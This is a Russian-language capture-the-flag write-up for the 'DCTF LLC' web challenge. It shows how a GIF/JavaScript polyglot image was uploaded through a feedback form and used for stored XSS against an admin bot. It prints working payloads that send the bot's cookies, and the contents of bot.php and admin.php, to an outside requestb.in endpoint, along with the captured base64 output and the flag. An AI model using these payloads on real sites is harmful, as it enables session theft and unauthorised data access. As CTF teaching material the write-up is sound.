DCTF LLC

Задание:

We are looking for your feedback about our new amazing company!

Переходим по ссылке из задания и видим такую форму:

HITCON CTF 2017-1
Немного поэкспериментировав мы замечаем, что после сабмита формы на экране выводятся те данные, что мы отправили через форму. XSS? Тестируем дальше.
Через форму можно загрузить только jpg, jpeg, png, и gif файлы с максимальным размером в 500 байт. Кроме того, помимо проверки разрешения файла, существовала проверка формата файла.
Учитывая все вышеперечисленное, наш пейлоад выглядел так:

GIF89a/*.......*/=0;
window.location='https://requestb.in/156v69r1?v='+document.cookie;

Загружаем наше "изображение" через форму, т.о. получаем ссылку на него, после чего отправляем форму повторно, но вставив в поля Name и Message ссылку на наш скрипт:

HITCON CTF 2017-2
После чего переходим на requestb.in и видим, что бот перешел по нашей ссылке:

HITCON CTF 2017-3
Хм, интересное содержимое куков…
Затратив немного времени на перебор возможных директорий и файлов (/admin, /flag, /flag.php и т. д.) мы нашли файл bot.php, открыв который не получили ничего интересного. Но давайте попробуем запросить его с правами админа (а бот как раз и обладает такими правами). Т. о. новый пейлоад выглядит так:

GIF89a/*.......*/=0;
window.onload = function() {
  var f = new XMLHttpRequest();
  f.open("GET", "bot.php?id=", false);
  f.send();
  window.location='https://requestb.in/156v69r1?foo='+btoa(f.responseText);
};

Повторяем вышеописанную операцию: через форму отправляем нашу картинку, получаем ее адрес, и отправляем форму где в имени и сообщении вставляем <script>адрес_картинки</script>.
Отправляем, идем на requestb.in и видим:

QUERYSTRING

foo: PGh0bWw CjxoZWFkPgo8c2NyaXB0IHNyYz0nanF1ZXJ5LmpzLm1pbic PC9zY3JpcHQ CjwvaGVhZD4KPGJvZHk CmludmFsaWQgaWQ=

Все-еще не флаг…
В процессе поиска файлов мы также нашли admin.php, попробуем повторить наш трюк для этой страницы:

GIF89a/*.......*/=0;
window.onload = function() {
  var f = new XMLHttpRequest();
  f.open("GET", "admin.php?id=", false);
  f.send();
  window.location='https://requestb.in/156v69r1?foo='+btoa(f.responseText);
};

Отсылаем, обратно на requestb.in и наблюдаем:

QUERYSTRING

foo: RENURns4MDhmNTBjYTNmMzE4MmEzMGU3NmJiOWZjYzBmZGNiN2Y3NWY0Y2U1OTdmN2FiZTE3OTNlMzk0MmFjZjNlYzllfQ==

Уже на что-то похоже. Декодируем из base64 и флаг наш!
Флаг: DCTF{808f50ca3f3182a30e76bb9fcc0fdcb7f75f4ce597f7abe1793e3942acf3ec9e}

P.S.
Видео-райтап:


3 комментария на “DCTF LLC

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *